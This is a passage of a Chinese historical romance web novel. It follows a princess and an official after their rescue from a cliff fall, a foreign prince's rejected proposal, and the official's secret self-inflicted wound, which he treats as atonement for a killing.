穹天碧影,云卷云舒。 翻涌的白云骤然汇聚成一张人脸,陆埕指尖一颤,猛地起身。 萧婧华被他吓得一激灵,眉头皱起,“你做什么?” 陆埕喉头微哽,轻声问道:“饿了么?我去给你找吃的。” 未等萧婧华回应,他已转身走向林间。 向来不疾不徐的步伐此刻添了几分趔趄。 萧婧华并未露出嘲讽的神色,安静注视他的背影。 陆埕此人,光明磊落,坦坦荡荡,从不做亏心事。这次,是他第一次杀人。 更别说那人与他并无仇怨。 能忍着没在她面前失态,已经很难得了。 她第一次杀人那夜,若非不想温婵姿丧命,若非身陷囹圄,想必是支撑不住的。 可是为什么? 为什么要为她手染鲜血? 即便是十年情谊,也不值得他做到这种地步。 “什么为什么?” 陆埕的声音忽然在她耳边响起。 萧婧华倏尔一惊。 不知不觉间,她竟将心中所想念叨了出来,正巧被不知何时归来的陆埕听在耳里。 她偏头望着眼前的男人。 十三年。 人生能有几个十三年? 他今日之举,包括追着她跳下悬崖,皆是为了挽回,挽回自己习惯了十三年的存在。 却不是因为爱她。 萧婧华面色淡淡,不愿与他说话。 陆埕并不在意,将手里捧着的果子递过去,顺手放下拎着的竹筒。 忙累了一上午,萧婧华早饿了,伸手捻起一颗,轻轻咬下。 果子被清洗过,表皮带着水珠,入口时含着一丝凉意。 刚摘下来的口感明显比放了一夜好多了。 陆埕在她旁边坐下,克制地没碰到她,轻声道:“记得小时候,你第一次吃这种果子,一连吃了二十五个,半夜闹了腹痛。当时在庄子上,管事去寻大夫,你疼得睡不着,在我怀里躺了一夜,直到喝完了药才睡下。” 他浅笑着,“醒来后哭着对我说,再也不想见到这种果子。” 萧婧华动作一顿。 他还记得。 她也记得。 正因记忆深刻,看到那堆果子的第一瞬间,她脑海里便浮现出了陆埕的脸。 事已至此,追究救下她的究竟是何人已毫无意义,萧婧华慢慢地,又咬下一口。陆埕把果子放到她脚边,让她一弯腰就能够到。 他起身,捡起那把无人问津的匕首,走到一旁,挑选过后,砍下一根足有萧婧华手腕粗的树干。 萧婧华吃着果子,眸光澹澹看着他动作。 陆埕用手丈量两下,将树干砍成几截,随后坐在石上,认真削去外皮。 似是做过无数遍,他的动作极为熟稔,木屑渐渐在他脚下成堆。 陆埕随意雕了朵花,将木簪递给萧婧华。 “条件有限,你将就将就,等回去……” 再给你最好的。 这句话在舌尖绕了几圈,终究还是被他咽了下去。 陆埕垂下眼睑。 她自出生以来得到的皆是最好的,唯有在他这里,才尝尽情愁苦楚。 简单用竹筒里的水清洗了下长指,萧婧华伸手,带着水汽的指腹触碰到乌发,沾染了些许晶莹。 首饰不知掉去了哪儿,一想到她就这么披头散发地在陆埕面前晃了这么久,萧婧华的面色隐隐发沉。 抬臂抓过陆埕手里的木簪,萧婧华随意低头看了眼,目光微凝。 六瓣花,三大三小,花瓣隐约呈波纹褶皱状。 虽有些粗糙,但萧婧华仍是认出来了。 与陆埕送她的及笄礼,那根被她丢在山邑园花丛中,早已不见踪影的玉簪一模一样。 眸光轻颤,萧婧华捏着木簪的手发紧。 她背过身去,不让陆埕看清她的面色。 木簪在乌发间穿梭,披散的青丝被绾成髻垂在脑后。 简单的发式,与她一身华丽骑装毫不相干,却有种天然去雕饰的美。 见她绾好发,陆埕轻声道:“我去寻路,你别乱走,若是察觉到不对,就回山洞里。” 不太放心,他叮嘱道:“记得用草把洞口掩住。” 萧婧华不耐烦,“我不蠢。” 荒郊野外的,说不准就从哪儿钻出来头野狗野猪,她很惜命,绝不会让自己陷入危险中。 陆埕顿了顿,语气颇有些小心翼翼,“能吃鱼么?” 若今日找不到回去的路,他们大抵还是要在此处留宿。果子不顶饿,要让她吃些饱腹的东西才行。 昨日随邵嘉远去溪边,主要还是帮他的忙。 是他大意了。 倘若他一直守着她,或许她不会被邵嘉远吓到。 听这语气,萧婧华怪异地打量着陆埕。 后者在她的注视下紧张吞咽。 “在陆大人心里,本郡主究竟经受了什么惨无人道的折磨?”萧婧华嗤一声,转过身直视陆埕的眼,“没你想的那么可怜,不过一些小事而已,我早就不放在心上了。与你无关,你也不用愧疚。” 陆埕沉默。 见他明显不信,萧婧华在陆埕出声前抢先道:“快走吧,我不想再在这个鬼地方待下去。” 瞥一眼他包裹严实的额头,又道:“你的伤若是耽搁下去,当心变成傻子。” 她在关心他。 所有的负面情绪在此刻全部消散,陆埕眸光微亮,温声应道:“好,我这就去。” 看着他略显兴奋的背影,萧婧华皱起眉。 这么高兴做什么? 莫名其妙。 陆埕走后,萧婧华一点点挑去衣服上的草屑,拍掉尘土。 弄完,她颇有些无所事事地坐在石头上。 天地辽阔,山川成影。林野中的飞鸟虫兽也不知都去了哪儿,世界安静得仿佛只剩下她一个人。 萧婧华忽然有些冷。 那把匕首被陆埕拿去了,她手上没有武器,莫名心慌。 山洞里的火堆早已冷却,顾不上嫌脏,萧婧华捡起地上草屑,动作生疏地钻木取火。 弄了许久也不见火星,而陆埕还未回。 空寂之中,她脑子里钻出无数个不好的念头。 背后忽然一声怪叫,萧婧华吓得一抖,木棍脱手而出。 她蓦地回身,一只怪鸟正好从她头顶飞向天穹,洁白羽毛从她眼前掉落。 深吸一口气,萧婧华果断丢下满地木屑,回了山洞。 将杂草严实掩好,她回到草垛上坐下,长出了口气。 沉下心来,萧婧华将邵嘉远的事拎出来,再细细思索一遍。 结合她做的梦,有些事,她还是不清楚。 想得正入神,洞口蓦地传来轻微声响。 各种大型野兽在她脑海里来来回回地浮现,萧婧华汗毛竖起,踮着脚走到洞口,正要掀开缝隙偷看,眸底倏尔钻入一道人影。 “怎么了?” 陆埕问。 萧婧华松了口气。 “没事。” “我找到一条路,明日咱们一起去看看。” 陆埕轻声道。 萧婧华没意见。 去外边捡来干树枝,陆埕在洞口前蹲下,双手搓了几下,很快有火光燃起。 萧婧华站在他身后,垫脚望着他的动作不解。 没错啊,她也是这么做的,为什么她就生不起火? 她还在纠结,陆埕已经拿起处理好的鱼,架在火上烤。 他起身时,有东西在萧婧华眼前晃动。 青碧色的络子挂在陆埕腰间,上头的泥土被清洗得干干净净,似春日檐下新出的一抹春芽。 竟然,被他捡了回来。 萧婧华怔然。 心里似有苍龙翻涌,搅动风云,令她难以平静。 她索性坐了回去,不再看他,闭目调息。 “鱼好了。” 陆埕出声时,萧婧华已经调理好了情绪,拿过用叶子包好的鱼,礼貌颔首。 “多谢。” 陆埕微怔。 方才还好好的,为何忽然对他冷淡下来。 抿抿唇,陆埕继续烤鱼。 没有香料,这鱼萧婧华吃得没滋没味的。 直到用溪水稍稍清洗,背对着陆埕躺在草垛上,她仍未再说一句话。 身后也没传来动静。 萧婧华闭着眼,慢慢酝酿睡意。 昨夜睡得不好,她很快沉入梦乡。 夜里微冷,她不知不觉蜷缩起身子。 迷糊中,好似有人走到她身旁,将什么东西披在她身上。 那东西带着温热暖意,萧婧华下意识迎上去,手指紧紧握住。 感受到指间柔软,陆埕一愣。 他缓缓低眸。 萧婧华抱着他的外裳睡得正香,一手从衣内探了出来,抓住他食指。 眸光渐渐柔软,陆埕盘腿坐下,手肘抵住膝盖,手握成拳撑住太阳穴,忍着脑内昏沉锥痛,保持这个动作闭目养神。 …… 醒来时看见身上明显不属于自己的衣裳,萧婧华愣了愣。 往外边投去一眼。 没看见陆埕身影。 她拎着衣服起身,正要往外,陆埕已走了进来。 “醒了?早膳我弄好了,吃完我们便走吧。” 萧婧华把外裳还给他,起身往外走。 “多谢。” 早膳是鱼和陆埕找来的野果子,将果汁挤在鱼肉上,虽算不上多好吃,但还算能入口。 吃完,萧婧华跟着陆埕离开。 两人沿着溪流向下流走。 萧婧华不太能跟得上,走一会儿便要歇片刻,看着陆埕面色虽白,但气也不喘,明显游刃有余的模样,她心里纳罕。 这人的体力这么好么? 来不及多想,她匀了口气,继续走。 从早上走到下午,就算是萧婧华再懂事也撑不住了。 她浑身发软,就地蹲下,音里带着喘气,“我不行了,走不动了。” 陆埕四处睃巡着,“我去……” “郡主——” 萧婧华猛地抬头问:“你听到声音了么?” 陆埕凝神听着,“好像有人。” “婧华,你在哪儿——” 声音越发清晰,萧婧华眸光大亮,一瞬间全身的疲惫仿佛都消失了,兴奋回喊:“太子哥哥,我在这儿!” “我在这儿——” 回音在林间回荡,很快,萧长瑾一行人的身影出现在萧婧华眼前。 萧婧华起身,朝着他飞扑过去。 “怎么样,有没有受伤?” 接住萧婧华,萧长瑾紧张询问。 “婧华,你怎么样?”谢瑛着急追问。 萧婧华笑着摇头,“我没……” “嘭!” “大人!” 跟来的孟年惊呼。 萧婧华回头,正好瞧见陆埕倒地的身影。 白布如练,轻轻搭在他脸上胸前,额上似大朵梅花绽开,鲜妍刺目。 第59章 “他怎么样了?” 随行太医恭声道:“陆大人是太过劳累,加上伤口未能及时处理导致的晕厥,待颅内淤血散去,便没什么大碍了。” 萧婧华颔首,叮嘱道:“给他开最好的药,一定不能让他留下后遗症。” 太医拱手,“臣知晓。” 萧长瑾搂着萧婧华的肩,安慰道:“放心,有人精心照顾着,他会没事的,别担心。” 萧婧华反驳,“谁担心他了。只是……” 她垂着眼睫,低声道:“他因我而伤,心里过意不去罢了。” 萧长瑾笑了两声,转移话题,“对了,邵世子呢?不是说他和你们一起掉下悬崖了?” 萧婧华故作惊讶,“邵世子?” 摇着头,她道:“醒来后我就没看见他。” 在崖下,萧婧华与陆埕对过口径,若有人问起邵嘉远,他们一概回复不知。 她的表情很是自然,萧长瑾也没放在心上,便道:“孤再派人去找找。” 萧婧华笑着颔首。 “走吧,孤送你回去。这两日。你受苦了,孤让人给你熬补汤,回去后好生补补。” 萧婧华点头,“我进去看看他。” 进了屋,陆埕还没醒,孟年正守在他床边。 “郡主。” 见了萧婧华,他忙让开,低声道:“方才给大人上了药了。” 萧婧华凝望着躺在床上的人。 他闭眼沉沉睡着,孟年为他脱了衣裳,他身着里衣,被子盖到胸口。一张脸仍是苍白的,额上裹着纱布,浓郁草药味弥漫。 看了两眼,萧婧华果断转身。 “郡主。” 孟年骤然将她唤住,嗓音里带着乞求,“能不能……” 等他醒了再走? 话到了嘴边,终究还是没说出来。 孟年勉强扯出笑,安慰道:“你受累了,好好休息。” “你也别太劳累,照顾他的同时,也照顾好自己。” 背对着孟年,萧婧华轻笑颔首,随后毫不犹豫离开。 孟年看看她的背影,又看看躺在榻上的人。 轻轻给陆埕掖了掖被子,他双手捧着脸,愁眉苦脸地叹了声气。 …… “怎么样,你有受伤么?” 一进屋,谢瑛便拉住萧婧华的手四处查看,自责道:“都怪我,若我没有离开,说不定你也不会出事。” “你又不是先知,怎么能提前预知危险?”萧婧华安慰。 视线一转,对上云慕筱关心的目光,萧婧华笑了笑,“好了,我这不是好生生地回来了?” 松开谢瑛的手,她嫌弃地扯着衣裳,“箬竹,备水,我要沐浴。” 箬竹点去眼角的泪珠,应道:“奴婢这就去。” 拉着哭哭啼啼的箬兰出去了。 很快,二人便带着抬水的粗使嬷嬷进来。 和云慕筱与谢瑛打了声招呼,萧婧华去了里间。 褪去外裳,打散发髻,她望着手上的木簪微愣。 箬兰随意瞥一眼,“这是什么?” 箬竹瞧见上头花纹,端详着萧婧华的神色。 “没什么,不是什么重要的东西,扔了吧。” 萧婧华淡淡将木簪丢开。 箬兰“哦”了声,没放在心上,专心服侍萧婧华沐浴。 箬竹拾起被丢在地上的木簪,抱着脏衣服退了出去。 沐浴完,萧婧华一身清爽地走出里间。 水珠顺着发梢滴落,她随手擦了擦,就这么顶着一头湿发出现在外间。 视线触及屋内多出的两人,她惊讶挑眉,“你们怎么来了?” 乐宁下意识和她唱反调,“怎么,我不能来?” 端和拉了下她衣袖,乐宁颇为尴尬地咳了一声,别扭问:“你没受伤吧?” “看你的表情,好像巴不得我受伤。” 乐宁当即故态复萌,哼声,“不识好人心。” 萧婧华没搭理她,坐在谢瑛身侧,不急不慢地擦着头发。 乐宁与端和面面相觑,咬着唇,干巴巴地说:“对不起啊,我明知你不会打猎,还硬拉着你去。” “你若过意不去,将那把绿绮琴当做赔礼给我就行。”萧婧华笑意盈盈。 “你想得美!” 乐宁气冲冲起身,拉着端和就走,“行了,看她这副模样也不像有事,我们俩还是别在这儿碍人眼了。” 端和回头,目光歉意。 云慕筱和谢瑛齐声,“恭送两位殿下。” 萧婧华耸了耸肩。 姐妹俩离开后没多久,一名宫女端着木盘进来,“见过郡主,这是两位殿下为郡主精心挑选的补品。” 萧婧华轻点下颌,“放着吧,替我给她们带声谢。” “喏。” 宫女走后,谢瑛道:“两位殿下对你还是很关心的,这两日她们吃不好睡不好,精神劲和之前差了一大截。” “看出来了。”萧婧华调侃,“眼下黑影比我还严重。” 略过这个话题,她道:“这两日让你们担心了。” 云慕筱摇头,“阿瑛一直过意不去。” “怎么又说起这个了?” 萧婧华摇头,“本就与你无关,你何须自责。” 谢瑛握住她的手,“下次,我一定不会让你在我眼前出事。” “你还想有下次?”萧婧华嗔她。 “是我失言。”谢瑛懊恼,“该打。” 话落,她对着嘴巴打了一下。 萧婧华并未阻止,弯着眼笑看着她。 略坐了片刻,看出萧婧华眉眼间残存的疲惫,云慕筱带着谢瑛告辞。 “筱筱。” “怎么了?” 走到门口,云慕筱回头,眼中含着疑惑。 本来想问她和萧长瑾的进展,可转念一想,那是他们自己的事,正如云慕筱和谢瑛从未过问过她与陆埕的过往,她也不该插手。 朋友之间,应有适当的分寸与理解。 若有结果,她想,云慕筱会亲自告诉她的。 摇了摇头,萧婧华笑道:“路上慢些。” 云慕筱对她微笑颔首,拉住对她挥手的谢瑛,缓步离开。 夕阳渲染蓝天,橘红色光铺在门前,萧婧华靠着门框梳理长发。 身后悄无声息跪了两人。 予安和觅真垂首。 “属下保护郡主不利,请郡主责罚。” 萧婧华揉着太阳穴。 幼时她坐在皇伯父长秋殿内的榻上玩着九连环,曾听他教导太子哥哥,身为上位者,当赏罚分明,方能服众。 她舒了口气,闭眼道:“各去领十板子吧。” 父王定会惩处二人,与其由他下令,还不如她来,起码惩罚还能轻些。 “是。” 予安觅真干脆应声,转瞬已消失在原地。 刚念起恭亲王,他便出现在了院门口。 萧婧华出事时,他正陪着崇宁帝狩猎,这两日没少焦心。此刻见女儿完好无损地站在跟前,好歹是松了口气。 父女二人亲亲热热地用了晚膳,看着萧婧华进了里间,恭亲王才离开。 屋内寂静地闻针可落。 萧婧华披着外裳立在窗前,听着外间箬竹箬兰低语。 二人慢慢没了动静,想来应是睡着了。 她却没什么睡意。 今夜的月格外圆,萧婧华撑着窗,感受着夜风拂面,望着柳梢上的明月出神。 邵嘉远死了,可她却不觉得安稳,心里反而堵着一股气。 “你在想什么?” 猝不及防之下,萧婧华足下打滑,向后仰倒。 一双手及时抓住她双肩,稳住她身形。 眼里含着被吓出来的水光,萧婧华瞪向来人。 “好端端的,你做甚吓我?!” 阿史那苍无辜耸肩,“是你想得太入神了。” 萧婧华沉着脸,担忧吵醒箬竹箬兰,她压低嗓音质问:“大晚上的闯进女子闺阁,三王子莫非想做梁上君子?” “什么是梁上君子?” 阿史那苍不懂就问,一脸真诚。 萧婧华咬牙,口齿甚是清晰,“贼!” 阿史那苍笑了,“我若是做贼,郡主可防不住我。” 萧婧华面无表情地瞪他。 对上她的目光,阿史那苍忽而伸手箍住萧婧华的腰,将她整个人从窗内提出来。 “你作甚?!” 萧婧华又惊又怒,连连后退,目光防备。 “嘘。” 阿史那苍竖起一指,压低嗓音,“小心将人吵醒了。” “好不容易得救,你为何不开心?” 萧婧华放低音量,反驳道:“你从哪儿看出我不开心了?” “哪儿都能看出来。”阿史那苍一笑,隔着衣袖攥住她手腕,“我带你去个地方。” 萧婧华皱眉。 屋檐上,予安如灵敏的猫,落瓦无声,安静含利的目光射向阿史那苍。 那十板子对她来说好似不痛不痒,动作丝毫不见凝滞。 另一头,觅真身影如鬼魅地站在两人身后,身体紧绷,右手放在腰间剑柄上,警惕地盯着阿史那苍。 倘若他动作不规矩,那剑下一刻便能落在他脖子上。 “若是交起手来,我深夜到此,可就瞒不住了。”阿史那苍无所谓。 形状优美的丹凤眼里淬着火,萧婧华忍气对二人摇头。 阿史那苍满意地笑,拉着萧婧华往外走。 墙外有匹黑马低头吃草,萧婧华有些抗拒地往后退了一步。 “别怕,它很乖巧,不会像你那匹突然发疯。” 夸就夸,干嘛贬低她的清晨? 指尖无意识动弹,萧婧华忽而意识到,她的清晨已经没了。 趁她愣神,阿史那苍握住她细软腰身,将她放到马上,随后翻身落到她身后,拉着缰绳驱马离开。 行宫外有侍卫巡查,趁着他们不注意,阿史那苍驾马一跃而起。 起初他还能稳住,然而离行宫越远,骏马奔跑的速度越快。 风声急啸,墨发打在萧婧华脸上,带着刺疼。 她没忍住,伸手拍打阿史那苍小臂。 “停下!” 阿史那苍置之不理。 萧婧华怒了,扬声喝道:“本郡主让你停下!” 男人胸腔震动,笑音明显,“你喊出来。” 萧婧华:“停下啊!!” 他道:“把你心里的烦恼,全部喊出来。” 萧婧华怔住,唇瓣微张。 马速再度加快,一口凉风灌进嘴里,她被呛得咳嗽两声,气得大骂。 “阿史那苍,你脑子是不是有问题!!” “啊——!!” 萧婧华放声大喊。 明月高悬,繁星闪闪。 男人畅快地笑,笑声在夜中回荡。 夜风扬起少女绸缎般的墨发,摇曳草地无名小花,吹拂树梢萧萧落叶。 白皙手心摊开,将叶子稳稳接住。 红枫似火,掌心如玉。 手掌倾斜,落叶顺着下滑。 陆埕关上了窗。 屋里亮着一盏灯,外间传来孟年轻微的鼾声。 他坐在桌前,凝望烛心灯火。 眼前浮现出一张脸。 男人半边身子躺在溪中,闭着眼不省人事,任由他作为。 温热鲜红的血被溪流冲走,只余一张沾了水的苍白脸庞。 他甚至来不及睁眼查看宰割他生命的罪魁祸首,就这么悄无声息地永远闭上了眼,身躯顺水漂流。 苍白的指尖一点点卷起长袖,露出线条清晰流畅的手臂。 陆埕拿起桌上那把原本属于萧婧华的匕首。 杀孽既犯,已无转圜的余地。 他不悔。 滴答—— 成串的血珠坠地,似无数颗美艳瑰丽的红珍珠滚落成盘。 陆埕忍痛闭眼,面上血色瞬间尽失。 却该赎罪。 第60章 秋日萧萧,草木尽黄。 繁星铺陈,似波光湖面流淌,林鸟间或鸣唱,清脆响亮。 发泄了一通,胸腔内萦绕的郁气都散了不少。 萧婧华躺在地上,放空思绪,什么也不想,手臂枕在脑后,凝神看着明亮星辰。 黑马被拴在几步之外的树上,阿史那苍屈膝坐在她不远处,鹰隼般锐利的眼里含着笑意。 半晌,萧婧华问:“我一直很好奇,你为何说了一口流利的大盛官话?” 阿史那苍随手摘了根草叶把玩,“我的阿娜是盛朝人,她教我的。” 想起云慕筱提及的关于他的身世,萧婧华没再追问。 阿史那苍大抵也不想说起此事,侧眸笑问她:“开心了?” 算不上开心,只是在草地上骑马跑了这么一趟,脑子清醒不少。 萧婧华未答。 他也不在意,迎着风哼着她从未听过的曲调。 过了许久,萧婧华才侧眸看他,郑重道:“今夜多谢你。” 阿史那苍立即追问:“那可有谢礼?” 萧婧华乜他一眼,皮笑肉不笑道:“金银财宝,三王子尽可挑选。” “这些东西,我自己也能得到,你就不能给我一件我没有的东西?”阿史那苍拖长音调,“比如,你?” 萧婧华瞬间变脸,“抱歉,没有。” 她站起身,拍掉身上尘土,理了理头发,转身走向拴在树下的马。 “很晚了,本郡主该回去了。” 没料她反应这么大,阿史那苍迅速追上,“别,乌朔性子烈,当心别伤了你。” 一听这话,萧婧华立马在马儿一丈前停下,目光警惕地盯着它。 乌朔喷出灼热鼻息,眼睛直勾勾的。 萧婧华瞪了回去。 阿史那苍笑,“怎么还和一匹马生上气了。” 含霜带冷的目光瞥了过来,阿史那苍举起双手,“我不说了。” 没再故意招惹萧婧华,他安分地把她送了回去。 在她的身影即将没入黑暗前,阿史那苍叫住她,“小金花。” 语气认真中带着几分严肃,“真的不考虑嫁给我?” 萧婧华格外疑惑,“为何这么执着?” 她转身,直视阿史那苍在夜色下依旧亮如绿宝石的眼睛,玩笑道:“难不成,你是真的喜欢上我了?” 阿史那苍毫不犹豫,“是。” 他的神情真挚,眼里的光似要将万物烧灼,令人不敢逼视。 萧婧华眸光一慌,极快移开视线。 “用你们中原的话来说,我对郡主,应该是一见钟情。” “嫁给我,我带你去草原。那里辽阔美丽,有蓝天白云,成群牛羊,无拘无束,我想,你会喜欢。” 脑子飞快运转,揪出一个理由,萧婧华委婉拒绝,“三王子大概不知,我曾被山匪所劫。” 阿史那苍不解,“这与你嫁给我有何关联?” 萧婧华张口就来,“失踪多日,京中谣传我失了清白。经此一事,我已绝了嫁人的念头。” 阿史那苍眉头皱起,“这是什么大事么?” 看他神情,似是真为此事感到不解,“北夷二嫁三嫁,甚至四嫁的女子不在少数,这点小事,也值得在意?” 萧婧华蓦地想起,北夷奉行父死子继,兄终弟及,前任可汗死后,下任可汗可继承他的一切,包括女人。 如今的铁木勒可汗后宫里,好似就有几个是他曾经的嫂子。 名誉清白对北夷女子来说,确实不是什么大事。 萧婧华沉默了。 笑声散漫,阿史那苍问:“还有什么理由?” 长叹一声,萧婧华缓缓摇头,“没有借口,不过是因为,我对三王子无意罢了。” 阿史那苍脸上的笑落下。 萧婧华道:“抱歉,辜负了三王子厚爱。愿你往后,能找到真心相待的良人。” 不去看他的神情,萧婧华转身,踩着月光,逐渐消失在阿史那苍的视野中。 他站在夜里。 乌朔发出不耐烦的声音,阿史那苍抬手安抚地摸它脑袋,低低的笑散开。 “这辈子,我想要什么,还从未失手过。” 离开奴隶营,让阿娜过上好日子,成为父汗眼中再无法忽略的存在。 他从尸山血海爬到现在,离至尊之位只差一步。 权柄尽握手中,他喜欢的姑娘,也不会例外。 阿史那苍笑着,俊美面庞带着势在必得,甚至有些邪气的笑。 拉住缰绳,他牵着乌朔,哼着歌离开。 ……秋猎最后两日,恭亲王派人亦步亦趋地跟着萧婧华,生怕再让她受到丁点伤害。 少女身着华服,带着两队护卫,“耀武扬威”地出现在猎场上,与云慕筱一道为谢瑛喝彩。 “郡主。” 正和云慕筱说着闲话,一道男声乍响。 宁拓快步而来,担忧的目光将萧婧华打量了遍,庆幸道:“还好你无事。” “宁小公爷。” 萧婧华颔首。 宁拓眉目带着歉疚,“郡主失踪那两日我被绊住了,未能及时去寻郡主。好在吉人自有天相,否则,宁拓良心难安。” 找她的人那么多,多一个或是少一个宁拓都没什么大碍,萧婧华自然不会放在心上,闻言轻轻颔首。 宁拓扬起唇角,“郡主……” “哥!” 清灵嗓音欢快渐近,宁妙云噙着笑,双手置于身前,莲步轻移,转瞬即至。 “郡主。” 对萧婧华见了礼,宁妙云笑着和云慕筱打了招呼,“云表姐。” 随后看向宁拓,柔声道:“雯姐姐的弓坏了,哥,你帮她修下吧。” 萧婧华这才注意到,宁妙云的身后还站着一名姑娘。 宝石蓝骑装,墨发束成马尾,这般飒爽的打扮,却不减她身上端庄优雅的气韵。 五官大气,脸部线条略有些圆润,杏眼里含着笑,柔柔福身。 “邹氏绮雯,见过郡主,云三姑娘,宁小公爷。” 萧婧华回忆了一番,在记忆深处寻找出这姑娘的身份。 御史中丞邹平之女,邹绮雯。 这位邹大人虽只有五品,却担着监察百官之责。据说邹大人深受上峰赏识,待上峰致仕,邹平极有可能从他手中接过御史大夫之职。 身为邹平之女,邹绮雯亦受到各家关注,听闻她辅佐母亲,将邹府上下打理得井井有条,年纪轻轻已传出贤名,媒人纷至沓来,险些踏破了邹府门槛。 萧婧华点头,“邹姑娘。” 邹绮雯微笑,目光看向宁拓。 宁拓烦躁皱眉。 他好不容易与郡主搭上话,还没说几句便被人打断。 可当着这么多人的面,又不好拂了妹妹和邹姑娘的面子,只好忍着不快勉强点头。 “我和你们走一趟。” 宁妙云笑容更盛,“那我们快走吧。” 宁拓看着萧婧华,欲言又止。 犹豫片晌,又觉郡主没有义务等他,只好步伐僵硬缓慢地跟着宁妙云和邹绮雯离开。 “听说,表姑最近和邹夫人走得很近。” 云慕筱悠悠道:“双方似有结亲之意。” 萧婧华转眸,略挑了下眉。 云慕筱看出她的意思,抿唇轻轻一笑。 表哥有的熬了。 马蹄声起,人影未到声已至。 谢瑛大笑,“筱筱,婧华,看我给你们打了什么好东西回来!”云慕筱无奈,低声嘟囔,“真是张扬。” 眼里却蓄着浓浓笑意。 萧婧华扬唇,双手放在唇边做喇叭状,“好啊,你快点!” …… 秋猎结束,崇宁帝率百官回京。 萧婧华昨夜睡得晚,今晨起时精神不济,歪在马车里昏昏欲睡。 午时大军停下安营扎寨,她开了车窗透气。 一道人影捧着碗,小心翼翼穿梭在人群间。 萧婧华一怔,扬声唤他,“孟年。” 孟年回头,目露喜色,“郡主。” 他转了方向,停在萧婧华车窗下。 瞥了眼他手里的褐色汤药,萧婧华抿了抿唇,“他……怎么样?” 因着萧长瑾日日派了太医去看望陆埕,萧婧华便没过问他的情况。 孟年刚想诉苦,话到嘴边硬生生刹住,“恢复得差不多了。” 瞧着孟年目光飘忽闪烁,萧婧华微拧眉头。 孟年端着药碗,急匆匆道:“郡主,大人还等着呢,我先走了。” “他做什么亏心事了?”箬兰探出脑袋,瞅着孟年的背影嘟囔,“又没人追他,跑这么快做什么?也不怕把药洒了。” 萧婧华眯着眼,越想越不对劲。 踯躅片刻,萧婧华叹气。 不管怎么说,陆埕始终帮了她一个大忙。 于情于理,她都该去走一趟。 “走吧,去看看。” 到了陆埕马车停驻处,萧婧华指着紧闭的车门,对予安道:“直接破开。” 予安颔首,足尖一点越上车辕,一脚踢开车门。 “哐当——” 车门一震,车厢内的二人一惊,齐齐向外看来。 萧婧华打量着陆埕。 如玉长指捏着汤勺,大概是因为予安的动静,有几滴褐色汤汁洒在了素色长衫上。 浅黑瞳孔因震惊放大,竟透露出些许无辜之感。 不知是不是她的错觉,总觉得陆埕的脸色,好似比前几日还要白上几分。 “郡、郡主。” 陆埕没想到她竟会来看他,惊喜之下,动作竟有些手足无措。 下意识想把手里碗放下,顿了顿,索性仰头一口气喝完。 喝得太急,他被呛住了,忙掏出帕子捂住唇,闷声咳嗽。 缓过来后,把碗递给孟年,后者识相退下,捏着碗沿,一手一个,顺手把箬竹箬兰也拉走了。 箬兰不依,力气却敌不过孟年,硬是被拉走了。 陆埕背过身收拾妥帖,斟酌试探,“要……上来坐坐吗?” 萧婧华提裙,在觅真的搀扶下登上马车。 车门被关上,二人守在门外。 萧婧华站在车厢内,打量着这辆简单的马车,“你……” 猛地一个踉跄,也不知她踩到了什么,整个向前扑去。 柔软小手压住右臂,陆埕气血上涌,硬生生将险些脱口而出的呻。吟咽了下去。 60-70 第61章 萧婧华整个人栽进男人怀里。 初雪似的清冽气息浓雾一般,从四面八方而来,轻柔且严密地将她包裹,每一次呼吸,独属于陆埕的气息都会强势地萦绕在鼻端。 密不透风,逃无可逃。 掌下肌肉结实有力,随着呼吸上下起伏。 她心下慌乱,白皙耳尖透出薄红,强忍着绷着一张冷脸,装作若无其事般撑着陆埕的胸与臂膀起身。 尴尬间,她并未抬头去看陆埕的神情,也就忽略了他苍白的脸庞上一闪而逝的痛楚。 捡起地上将她绊倒的药瓶,萧婧华声线有些不稳,恼怒道:“这药瓶都空了,还留着做甚?太医没给你送药?” 连瓶盖也没打开,她就这般下了定论,随后开了窗,将小瓷瓶远远扔了出去。 凉风吹散了些许面上热意,萧婧华语气不善道:“待会儿我让人给你送新的来。” 陆埕并未解释。 额上已沁出一层薄汗,他忍着手臂剧烈疼痛,唇瓣微微颤抖。 担心萧婧华看出来,他用力抿唇,目光凝聚在萧婧华身上,努力稳住嗓音,柔声道:“好。” 声音很轻,仿若蚊蝇。 萧婧华一听便皱起了眉。 他们之间太熟了,熟到陆埕有一点点异样,她都能察觉。 萧婧华狐疑,“你当真没事?”仔细扫了陆埕一眼,她道:“我怎么感觉,你比前几日还虚弱?” 陆埕心中敲起警钟,温声而笑,“哪有?这几日已好多了。” 萧婧华一看就知他在说胡话。 不过他们现在又没关系,他既不说,她便也不问。 反正她太医也请了,药也送了,身体是陆埕自己的,作成什么样,都得他自己受,和她又没什么关系。 脸上热意退却,萧婧华眉间已不见丝毫异样,“我欠你一份人情,你想要什么?” 陆埕眼中柔意凝住。 伤口作痛,额上晕眩,皆不如此刻似身处风雪中,寒冰从头顶一股脑灌入他体内,将浑身血液彻底冻住。 她还是想和他划清界限。 即便同生共死,即便他犯下罪孽。 陆埕深呼吸,吐出胸腔里的闷痛,缓声道:“可以……答应我一个条件么?” “什么条件?”萧婧华下意识反问。 “暂时还没想好。”陆埕露出苍白的笑,“放心,不会让你为难。” 不必如此警惕。 正如萧婧华熟悉陆埕的一切,陆埕也同样熟悉萧婧华的神态动作。 她眉间警觉,是第一次在他面前展露。 警觉的对象,竟然是他。 萧婧华歪头,目光犹豫不决。 最终,出于对陆埕人品的信任,她还是点了头。 抿了抿唇,迟疑稍许,萧婧华低声问:“他……你是怎么处理的?” 陆埕福灵心至,立即领略到萧婧华口中的“他”是谁,长睫低垂,“去后,扔进河里。” 虽隐去了一个字,但萧婧华听懂了。 马车里药味浓郁,她待久了坐不住,恨不得将鼻子捂住。 既然陆埕无事,那她此行的目的也达到了,颔首道:“我先走了,你好生养伤。” 萧婧华起身开了车门。 觅真立马扶着她下了马车。 那道窈窕身影彻底消失不见,陆埕阖上车门,眉间痛意终于没忍住泄了出来。 他解开衣衫,偏头去看手臂情况。 裹着的纱布上已有血迹渗出,倘若萧婧华再待片刻,便能察觉出异常。 好在这车里药味浓郁,完全盖住了血腥气。 “叩叩——” 陆埕齿关泄出一丝气音。 “进。” 孟年飞快把门关上,眼里浮现出血色,惊了一瞬,“这怎么弄的?” 连忙接过陆埕的衣服,他皱眉心疼,“方才还好好的,怎么就裂开了?” 陆埕摇摇头。 孟年苦大仇深地解开他缠在手臂上的纱布,掀开一看,源源不断的血正汩汩往外冒。 他骂了一句,“好端端的,你做什么要自残?” 脑子进水了? 陆埕抿起苍白唇瓣,沉默不语。 